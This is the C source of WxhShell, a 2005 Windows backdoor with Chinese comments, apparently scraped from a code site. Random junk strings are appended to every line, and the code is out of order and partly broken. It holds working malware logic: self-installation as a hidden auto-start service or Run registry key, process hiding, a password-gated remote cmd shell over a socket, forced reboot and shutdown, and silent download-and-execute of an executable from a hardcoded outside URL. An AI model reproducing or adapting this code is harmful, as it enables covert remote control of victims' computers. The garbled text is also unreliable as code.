    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); KZppQ0  
    if(Boot(SHUTDOWN)) ?"x4u#x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C}8#yAS9M  
    else { b(*\4n  
    closesocket(wsh); RQ,#TbAe  
    ExitThread(0); D\Ak-$kJ^  
    } QL/KY G  
    break; A[Mke  
    } ~:a1ELqVw  
  // 获取shell UM7@c7B?  
  case 's': { u"v7shRp:  
    CmdShell(wsh); / FcRp,"  
    closesocket(wsh); 9{u8fDm!  
    ExitThread(0); {*yvvb  
    break; U#3N90,N=  
  } 9-42A7g^C  
  // 退出 F9r.DG$}  
  case 'x': { &6x(%o|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); g*V.u]U!i  
    CloseIt(wsh); (T%F^s5D  
    break; >fBPVu\PA  
    } a"vzC$Hxd  
  // 离开 v)5;~.+%  
  case 'q': { "V|Rq]_+%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); V\L;EHtc$  
    closesocket(wsh); is<:}z  
    WSACleanup(); .vu7$~7  
    exit(1); \o>-L\`O  
    break; C]ss'  
        } gu k,GF9p]  
  } 5|H;%T 3_  
  } ,!:c6F+  
%ih\|jR t  
  // 提示信息 i KSRr#/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ea 3w  
} :U?g']`Z##  
  } ReaZg ?:h  
E|@C:ghG  
  return; fd)8lK[KJ"  
} R]"Zv'M(AM  
qed_PsI  
// shell模块句柄 7 Lm9I  
int CmdShell(SOCKET sock) :5k* kx#y  
{ q[$>\Nfg>B  
STARTUPINFO si; ytcLx77`:  
ZeroMemory(&si,sizeof(si)); <XeDJ8 '  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Px_8lB/;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; '.|}  
PROCESS_INFORMATION ProcessInfo; 1w>[&#7  
char cmdline[]="cmd"; lx`?n<-X  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _^<vp  
  return 0; ' @!&{N  
} tiK M+ ;C  
4:V +>Jt  
// 自身启动模式 Jq_\r' YE  
int StartFromService(void) S@,/$L  
{ B7\4^6Tx  
typedef struct @yTu/U  
{ ZdW+=;/#  
  DWORD ExitStatus; /$; Z ~^P  
  DWORD PebBaseAddress; K$S0h-?9]O  
  DWORD AffinityMask; ~^F]t$rz  
  DWORD BasePriority; f.g!~wGD  
  ULONG UniqueProcessId; Pp?P9s {  
  ULONG InheritedFromUniqueProcessId; }9@rhW  
}   PROCESS_BASIC_INFORMATION; ^%\a,~  
,+i^]yF3j  
PROCNTQSIP NtQueryInformationProcess; nDrRK  
#/qcp|m  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; iA[T'+.Y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; fG2)r  
Y9abRr K  
  HANDLE             hProcess; +R~]5Rxd  
  PROCESS_BASIC_INFORMATION pbi; }u^bTR?3  
#]Vw$X_S  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X_PzK'#m  
  if(NULL == hInst ) return 0; DwBe_h.  
e#}t am  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2f(`HSC'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); f} c;s  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?O 25k!7  
i@/%E~W  
  if (!NtQueryInformationProcess) return 0; *JOK8[Qn  
JQ+Mg&&Q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 48p3m) 5  
  if(!hProcess) return 0; KDN#CU  
L4iWR/&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; w hI4@#  
H VM %B{(  
  CloseHandle(hProcess); I(6%'s2  
cC8$oCR?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ih kZs3}  
if(hProcess==NULL) return 0;  *RY}e  
g!0 j1  
HMODULE hMod; h),;j`PrC  
char procName[255]; IsE&k2 SD  
unsigned long cbNeeded; ?"b __(3  
wGO-Z']i  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); H;=yR]E  
Yyk~!G/@  
  CloseHandle(hProcess); J.~@j;[2  
}Z <I%GT  
if(strstr(procName,"services")) return 1; // 以服务启动 1^k}GXsWmE  
>D=X Tgqqq  
  return 0; // 注册表启动 T#&1q]P1F  
} frbd{o  
#o&T$D5  
// 主模块 Pr>$m{ Z  
int StartWxhshell(LPSTR lpCmdLine) m#h`iW  
{ $I5|rB/4?  
  SOCKET wsl; $Y/z+ea  
BOOL val=TRUE; 2K~v`c*4  
  int port=0; {:cGt2*~^  
  struct sockaddr_in door; $ (&uaDYv  
@#wG)TA  
  if(wscfg.ws_autoins) Install(); HtN: v  
@Hj]yb5  
port=atoi(lpCmdLine); |(~IfSE2  
.Z 7t E?  
if(port<=0) port=wscfg.ws_port; ,5 8-h?B0v  
T:j41`g%s  
  WSADATA data; |f}wOkl  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `c:r`Oi?  
ZZi 9<g1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6X ]I`e  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); eI|FrBq%  
  door.sin_family = AF_INET; 5!Er ;e  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); # l1*#Z  
  door.sin_port = htons(port); ",YNphjAn  
qLBQ!>lR  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { UXSwd#I&  
closesocket(wsl); T c-fO /0  
return 1; ''2:ZXX  
} 6@Q; LV+  
zRh)q,Dt  
  if(listen(wsl,2) == INVALID_SOCKET) { $zz4A~   
closesocket(wsl); `DSDuJw%  
return 1; .==c~>N  
} QP%AJ[3ea%  
  Wxhshell(wsl); .9DhD=8aIO  
  WSACleanup(); , -])[u  
JNU9RxR  
return 0; u}'m7|)8  
d3oRan}z  
} )m-(-I  
} %3;j5 ;6  
// 以NT服务方式启动 9 'X"a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g9GPy U  
{ l2#~   
DWORD   status = 0; ml~ )7J  
  DWORD   specificError = 0xfffffff; p+I`xyk  
^g'uR@uU  
  serviceStatus.dwServiceType     = SERVICE_WIN32; N]BH67<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  w&U28"i>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :hHKm|1FE  
  serviceStatus.dwWin32ExitCode     = 0; kH06Cb  
  serviceStatus.dwServiceSpecificExitCode = 0; Na\&}GSf^  
  serviceStatus.dwCheckPoint       = 0; jcePSps]  
  serviceStatus.dwWaitHint       = 0; Jcvp<  
$hM9{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); jp-(n z\  
  if (hServiceStatusHandle==0) return; 9aID&b +  
z#5qI',L  
status = GetLastError(); rl"yE=  
  if (status!=NO_ERROR) x!4<ff.  
{ 2Z(?pJyDM  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $SLyI$<gP  
    serviceStatus.dwCheckPoint       = 0; E]Cm#B  
    serviceStatus.dwWaitHint       = 0;  X56.Y.  
    serviceStatus.dwWin32ExitCode     = status; PtjAu  
    serviceStatus.dwServiceSpecificExitCode = specificError; ubl Y%{"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); j%!xb><  
    return; IFSIQ q  
  } CyS.GdyP  
AfW:'>2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <95*z @  
  serviceStatus.dwCheckPoint       = 0; F0xm% ?  
  serviceStatus.dwWaitHint       = 0; "t{D5{q|[k  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); p=Q o92 NH  
} FN0<iL  
*XXa 9z  
// 处理NT服务事件,比如:启动、停止 k%RQf0`T  
VOID WINAPI NTServiceHandler(DWORD fdwControl) WAr6Dv,8  
{ o hPXwp?]  
switch(fdwControl) voN,u>U  
{ NS4W!o;"  
case SERVICE_CONTROL_STOP: T.!.3B$@]  
  serviceStatus.dwWin32ExitCode = 0; :2L-Nf  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7r3EMX\#Qm  
  serviceStatus.dwCheckPoint   = 0; <l)I% 1T_c  
  serviceStatus.dwWaitHint     = 0; En+`ZcA\z  
  { }g.)%Bw!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ovtZHq/  
  } btf]~YN  
  return; 9@(V!G  
case SERVICE_CONTROL_PAUSE: #1>c)_H  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; yV@~B;eW0  
  break; xqVIw!J?/}  
case SERVICE_CONTROL_CONTINUE: U,9=&"e b  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; uoY]@.  
  break; Nrp1`qY  
case SERVICE_CONTROL_INTERROGATE: P= 26! b  
  break; v~O2y>8Z  
}; &-.2P!t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ! "^//2N+,  
} +_fxV|}P  
7baQ4QY?n  
// 标准应用程序主函数 y#{> tC  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) LZpqv~av  
{ u_)'}  
k8sjW!2  
// 获取操作系统版本 $T'lWD*  
OsIsNt=GetOsVer(); [{-;cpM \  
GetModuleFileName(NULL,ExeFile,MAX_PATH); K30{Fcb< h  
5 .b U2C  
  // 从命令行安装 ^paM{'J\\)  
  if(strpbrk(lpCmdLine,"iI")) Install(); /9u12R*<  
\g;-q9g;O  
  // 下载执行文件 [M.!7+$o  
if(wscfg.ws_downexe) { _%aJ/Y0Cy  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Pu]Pp`SP  
  WinExec(wscfg.ws_filenam,SW_HIDE); n ^C"v6X  
} [tz}H&  
#F >R5 D  
if(!OsIsNt) { mvW,nM1Y  
// 如果时win9x,隐藏进程并且设置为注册表启动 , rc %#eF  
HideProc(); "M:0lUy  
StartWxhshell(lpCmdLine); IsiCHtY9  
} X[iQ%Y$/n  
else .{#J2}+[_}  
  if(StartFromService()) ~d6zpQf7>  
  // 以服务方式启动 y[:xGf]8@  
  StartServiceCtrlDispatcher(DispatchTable); #ruL+- 8!<  
else +,Z Q( ZW  
  // 普通方式启动 z)y{(gR  
  StartWxhshell(lpCmdLine); )1 !*N)$  
1O;q|p'9  
return 0; uyWt{>$  
} G8p6p6*  
K@@[N17/8  
fnO>v/&B  
1lQO`CmR6M  
=========================================== sq'bo8r  
w97%5[-T  
2~*.X^dR  
eB*0})  
B=+Py%  
_ye74$#  
" >a2i%j/T  
Sy`7})[  
#include <stdio.h> CrI:TB>/ "  
#include <string.h>  [E|%  
#include <windows.h> iwnFCZVS  
#include <winsock2.h> rXu^]CK *G  
#include <winsvc.h> t5WW3$Nf  
#include <urlmon.h> -|A`+1-R+  
q*4=sf,>  
#pragma comment (lib, "Ws2_32.lib") 1$ C\ `  
#pragma comment (lib, "urlmon.lib") J9*$@&@S  
hE>%LcP  
#define MAX_USER   100 // 最大客户端连接数 le J\  
#define BUF_SOCK   200 // sock buffer ,O/ t6'  
#define KEY_BUFF   255 // 输入 buffer $Q< >M B7  
<C,lHt  
#define REBOOT     0   // 重启  - }9a%  
#define SHUTDOWN   1   // 关机 j]' 7"b5  
^8eu+E.{  
#define DEF_PORT   5000 // 监听端口 avo[~ `.  
1US4:6xX_  
#define REG_LEN     16   // 注册表键长度 jLG Q^v"  
#define SVC_LEN     80   // NT服务名长度 VsM~$ )  
V t@]  
// 从dll定义API 0'0GAh2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); I7q}<"`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); tjTnFP/=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); pw5uH  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +Q+>{HK  
q t!0#z8  
// wxhshell配置信息 Ryrvu1 k  
struct WSCFG { Zf~Z&"C)  
  int ws_port;         // 监听端口 Q9h;`G 7t  
  char ws_passstr[REG_LEN]; // 口令 #?EmC]N7  
  int ws_autoins;       // 安装标记, 1=yes 0=no (W4H?u@X0  
  char ws_regname[REG_LEN]; // 注册表键名 m]#oZVngy  
  char ws_svcname[REG_LEN]; // 服务名 Tweku}D7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9( "<NB0y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (TJ )Y7E  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 dGY:?mf&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !O }^Y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" a08`h.dyN  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 V 0M&D,  
V*1hoC#  
}; Z0I>PBL@l  
;Wu6f"+Y#  
// default Wxhshell configuration )UgLs|G~  
struct WSCFG wscfg={DEF_PORT, ~SN *  
    "xuhuanlingzhe", 85GU~.  
    1, ~ '/Yp8 (  
    "Wxhshell", c Y(2}Ay  
    "Wxhshell", 5b5Hc Inu  
            "WxhShell Service", :@8N${7`$A  
    "Wrsky Windows CmdShell Service", 14 Toi  
    "Please Input Your Password: ", VHihC]ks,  
  1, i~0x/wSl_  
  "http://www.wrsky.com/wxhshell.exe", 3"HW{=  
  "Wxhshell.exe" $\A=J  
    }; H%z9VJ*!0  
waI:w,  
// 消息定义模块 Uop`)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; nqMXE82  
char *msg_ws_prompt="\n\r? for help\n\r#>"; l" P3lKS  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; E6Uiw]3  
char *msg_ws_ext="\n\rExit."; O4.`N?Xq  
char *msg_ws_end="\n\rQuit."; 9`X}G`  
char *msg_ws_boot="\n\rReboot..."; 7`_`V&3s  
char *msg_ws_poff="\n\rShutdown..."; :[C"}m R1  
char *msg_ws_down="\n\rSave to "; o!-kwtw`l  
V>Vu)7  
char *msg_ws_err="\n\rErr!"; f5ttQ&@FF  
char *msg_ws_ok="\n\rOK!"; C_ 4(- OWq  
y8arFG  
char ExeFile[MAX_PATH]; y1c2(K>tu  
int nUser = 0; +l)[A{  
HANDLE handles[MAX_USER]; -b`O"Ck*  
int OsIsNt; d,d ohi  
zD,K_HicI  
SERVICE_STATUS       serviceStatus; o;5ns  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; #<*=)[  
wFX>y^ 1  
// 函数声明 `+0K~k|DC  
int Install(void); Xdtyer%  
int Uninstall(void); >Xv Fg  
int DownloadFile(char *sURL, SOCKET wsh); ;5PBZ<w  
int Boot(int flag); xh`4s  
void HideProc(void); V+Y;  
int GetOsVer(void); FX,kmre3  
int Wxhshell(SOCKET wsl); 6[~_;0  
void TalkWithClient(void *cs); d;FOmo4  
int CmdShell(SOCKET sock); { d|lN:B  
int StartFromService(void); W|-<ekH_u  
int StartWxhshell(LPSTR lpCmdLine); H05xt$J  
%  db  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); V3v/h V:  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); J-d>#'Wb|  
*1c1XN<7  
// 数据结构和表定义 Nm4 h  
SERVICE_TABLE_ENTRY DispatchTable[] = NPjNkpWm&=  
{ }$X/HK  
{wscfg.ws_svcname, NTServiceMain}, &X&msEM  
{NULL, NULL}  ;U<}2M!g  
}; cl1>S3  
m[8?d~  
// 自我安装 $;VY`n  
int Install(void) 4IGn,D^  
{ /n-!dXi  
  char svExeFile[MAX_PATH]; o7sIpE9  
  HKEY key; - xKa-3  
  strcpy(svExeFile,ExeFile); gPqdl6#c  
=s/UF_JN  
// 如果是win9x系统,修改注册表设为自启动 w e}G%09L  
if(!OsIsNt) { NSkIzaNY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (t_%8Eu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B6J <  
  RegCloseKey(key); >&`;@ZOH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;5!M+nk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  ow2tfylV  
  RegCloseKey(key); ;%B:1Z  
  return 0; y)uxj-G  
    } hA:RVeS{  
  } O0RV>Ml'&  
} .{,fb  
else { ,0\P r  
d8ck].m=  
// 如果是NT以上系统,安装为系统服务 ni~1)"U.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %2,'x  
if (schSCManager!=0) NnTAKd8  
{ 88g|(k/  
  SC_HANDLE schService = CreateService 0f9*=c  
  ( Cc&SHG*R  
  schSCManager, Gc*p%2c  
  wscfg.ws_svcname, |{V@t1`  
  wscfg.ws_svcdisp, 7&w$@zs87  
  SERVICE_ALL_ACCESS, /5N`E uw  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p,K!'\  
  SERVICE_AUTO_START, J7FzOwd1h  
  SERVICE_ERROR_NORMAL, f=paa/k0  
  svExeFile, KybrSa  
  NULL, G3${\'<  
  NULL, k@}g?X`8  
  NULL, L=9 ^Y/8Q  
  NULL, Y>Ju$i  
  NULL u{8:VX  
  ); Bv{DZ?{s  
  if (schService!=0) =.(~`ici~  
  { ;Q\MH t*  
  CloseServiceHandle(schService); .!Q*VTW  
  CloseServiceHandle(schSCManager); =g{Hs1W  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); y134m  
  strcat(svExeFile,wscfg.ws_svcname); yt[*4gF4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Xv2Q8-}w  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8>AST,  
  RegCloseKey(key); V(wANvH  
  return 0; 'dJ(x  
    } 0HPqoen$  
  } bwyj[:6l  
  CloseServiceHandle(schSCManager); N}CeQ'l[R  
} .1YiNmW=  
} Jk} Dj0o  
D* QZR;D#.  
return 1; p5`={'>-  
} AQjf\i  
wu~?P`  
// 自我卸载 LXS)(-&  
int Uninstall(void) g]Z@_  
{ 6H ^=\  
  HKEY key; Dks"(0g  
_fjHa6S  
if(!OsIsNt) { ^8V8,C)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /Y0oA3am  
  RegDeleteValue(key,wscfg.ws_regname); @TvDxY1)6Z  
  RegCloseKey(key); i% n9RuULh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |31/*J!@z*  
  RegDeleteValue(key,wscfg.ws_regname); 6<Txkk  
  RegCloseKey(key); a/TeBx#yG  
  return 0; 8iUYZF  
  } ,w%hD*  
} t~M0_TnXlP  
} Ctx{rf_~  
else { ukc<yc].+?  
Jxsch\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~nRbb;M  
if (schSCManager!=0) i;fU],aK!  
{ nO `R++  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); SQ-CdpT<  
  if (schService!=0) =4#p|OZP  
  { l5FKw;=K}:  
  if(DeleteService(schService)!=0) { IiM=Z=2  
  CloseServiceHandle(schService); 3XcFBFE  
  CloseServiceHandle(schSCManager); &~V6g(9  
  return 0; MuF{STE>->  
  } o?/fObV@(  
  CloseServiceHandle(schService); /|p6NK;8L  
  } -Ra-Ux  
  CloseServiceHandle(schSCManager); /3j3'~0  
} s[Whg!2~  
} *]*0uo  
<2t%<<%  
return 1;  ?)2;W  
} $Gs|Z$(  
cv"Bhql  
// 从指定url下载文件 JQDS3v=1$  
int DownloadFile(char *sURL, SOCKET wsh) z-JYzxL9  
{ .f9&.H#  
  HRESULT hr; j5!pS xOC  
char seps[]= "/"; =y0h\<[  
char *token; M.``o1b  
char *file; K$c?:?wmo  
char myURL[MAX_PATH]; ,:xses*7  
char myFILE[MAX_PATH]; ,SH^L|I  
p9[gG\  
strcpy(myURL,sURL); !@[@&.  
  token=strtok(myURL,seps); e'2w-^7  
  while(token!=NULL) _Lgi5B%   
  { ( "wmc"qH  
    file=token; zxC~a97`  
  token=strtok(NULL,seps); C&f{LpB`  
  } OZ4%6/  
`>u^Pm  
GetCurrentDirectory(MAX_PATH,myFILE); oT i$@q  
strcat(myFILE, "\\"); FJ2~SKWT  
strcat(myFILE, file); z=C<@ki`  
  send(wsh,myFILE,strlen(myFILE),0); %mRnJgV5k  
send(wsh,"...",3,0); 8iC9xSH[%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `<(o;*&Gd  
  if(hr==S_OK) #{5h6IC  
return 0; o!zo%#0;#)  
else DHVfb(H5e  
return 1; #:8V<rc^  
tN0?  
} B pp(5  
O'S9y  
// 系统电源模块 ld7B{ ?]  
int Boot(int flag) k iu#THF  
{ ^zKP5nzL  
  HANDLE hToken; XGAR8=tic  
  TOKEN_PRIVILEGES tkp; uQ3W =  
Ygc.0VKMR  
  if(OsIsNt) { (r/))I9^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); x,Z:12H0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); zO((FQ  
    tkp.PrivilegeCount = 1; { {+:Vy  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <G#Q f|&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); G \|P3j  
if(flag==REBOOT) { &H/3@A3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Q+p9^_r  
  return 0; tS[%C)  
} E&0]s  
else { naM=oSB(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D<lVWP  
  return 0; : 2A\X' @  
} ~vKDB$2  
  } /;WFRp.  
  else { $?y\3GX  
if(flag==REBOOT) { uo3o[ H&#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) V Ku|=m2vB  
  return 0; USV;j%U4*  
} a 1~@m[  
else { b$Q#Fv&P  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) __i))2  
  return 0; oT- Y  
} J:l%  
} IYe,VL  
scyv]5Hm!  
return 1; ! _?#f|  
} 6t'vzcQs  
S+u@ Q}  
// win9x进程隐藏模块 ?:Rw[T@ l  
void HideProc(void) M-A{{q   
{ QURpg/<U  
9j<7KSj  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); RpzW-  
  if ( hKernel != NULL ) 6A-nhvDP  
  { QxiAC>%K  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |M|>/U 8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); bf/z T0  
    FreeLibrary(hKernel); Xbc:Vr  
  } ;M5]XCP k  
P]H4!}M  
return; vY]7oX+  
} b"eG8  
!wIrI/P7#  
// 获取操作系统版本 .F@ 2C  
int GetOsVer(void) 4K$_d,4`U  
{ R2y~+tko?  
  OSVERSIONINFO winfo; s\.\z[1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .`^wRpa2M  
  GetVersionEx(&winfo); i*e'eZ;)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) a>#]d  
  return 1; _^p\ u  
  else "T.Qb/97@  
  return 0; @UW*o&pGqL  
} 4d%QJ7y  
@|fT%Rwho<  
// 客户端句柄模块 Nx<fj=VJ  
int Wxhshell(SOCKET wsl) 43Ua@KNi  
{ PDpDkcy|QM  
  SOCKET wsh; _.5AB E  
  struct sockaddr_in client;  dQI6.$?  
  DWORD myID; moE!~IroG  
gCaxZ~o  
  while(nUser<MAX_USER) ~y1k2n  
{ ?:#$btmn?  
  int nSize=sizeof(client); M8|kmF\B  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6o~CX  
  if(wsh==INVALID_SOCKET) return 1; a[RqK#  
A:V/i:IZfR  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -qpe;=g&f  
if(handles[nUser]==0) .<Jq8J  
  closesocket(wsh); U)D}J_Zi(  
else v8\pOI}c  
  nUser++; 9%DLdc\z;  
  } *u!l"0'\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =/bC0bb{i  
&+df@U6i  
  return 0; m,r>E%;Cj  
} Q;=3vUN  
x n}HB  
// 关闭 socket MG4(,"c!  
void CloseIt(SOCKET wsh) 6eW9+5oL  
{ Z"E2ZSa0  
closesocket(wsh); Rzxkz  
nUser--; @Wd1+Yky  
ExitThread(0); =HHb ]JE  
} }XfRKGQw  
Fr1OzS^&(  
// 客户端请求句柄 gk4DoOj#P  
void TalkWithClient(void *cs) .}3K9.hkr  
{ z/|tsVK  
>C -N0H  
  SOCKET wsh=(SOCKET)cs; R?}<Cj I  
  char pwd[SVC_LEN]; S{zl <>+  
  char cmd[KEY_BUFF]; xDIl  
char chr[1]; L4{+@T1A[  
int i,j; F*=}}H/  
 8s>OO&  
  while (nUser < MAX_USER) { fi'\{!!3m^  
VX e7b  
if(wscfg.ws_passstr) { qnnP*15`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Hf9F:yH  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zJG=9C?  
  //ZeroMemory(pwd,KEY_BUFF); 5>&C.+A 9  
      i=0; ^']*UD;  
  while(i<SVC_LEN) { td|O#R  
XO}v8nWV  
  // 设置超时 w s7LDY&(  
  fd_set FdRead; w>&g'  
  struct timeval TimeOut; RNb"O{3  
  FD_ZERO(&FdRead); PRN%4G  
  FD_SET(wsh,&FdRead); e# KP3Lp  
  TimeOut.tv_sec=8; :jGgX>GG  
  TimeOut.tv_usec=0; TTz_w-68  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [+b&)jN*2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ykNPKzW:  
=5#sB*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MzIn~[\  
  pwd=chr[0]; 7z3YzQ=Kg  
  if(chr[0]==0xd || chr[0]==0xa) { e%KCcU  
  pwd=0; ?$%2\"wX~7  
  break; N|asr,  
  } |%fM*F^7/  
  i++; `yrJ}f  
    } Ky)*6QOw  
I=&Kn@^  
  // 如果是非法用户,关闭 socket  B q7Qbj  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); lM[FT=M  
} &U y Q<O>  
y\<\P8X  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~P!%i9e_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Uw->5   
Ypw:Vp  
while(1) { '<&rMn  
'))=y@M  
  ZeroMemory(cmd,KEY_BUFF); O 718s\#  
"%K[kA6  
      // 自动支持客户端 telnet标准   /U@Y2$TOF  
  j=0; S"Drg m.  
  while(j<KEY_BUFF) { OLyl.#J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zC_@wMWB  
  cmd[j]=chr[0]; VU \{<j{  
  if(chr[0]==0xa || chr[0]==0xd) { Vi<F@ji  
  cmd[j]=0; RV_+-m{]  
  break; gt Rs||  
  } H]Vo XJ\*  
  j++; wak'L5GQE  
    } Mt%=z9OLq9  
0v'!(&m  
  // 下载文件 x^/453Lk  
  if(strstr(cmd,"http://")) { E<L6/rG  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?a'P;&@7  
  if(DownloadFile(cmd,wsh)) +X!QH/ 8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); a_o99lP  
  else z9HUI5ns  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _BBs{47{E  
  } ?7R&=B1g  
  else { 0i/!nke.  
D:Fi/JY~  
    switch(cmd[0]) { \* SEj&9  
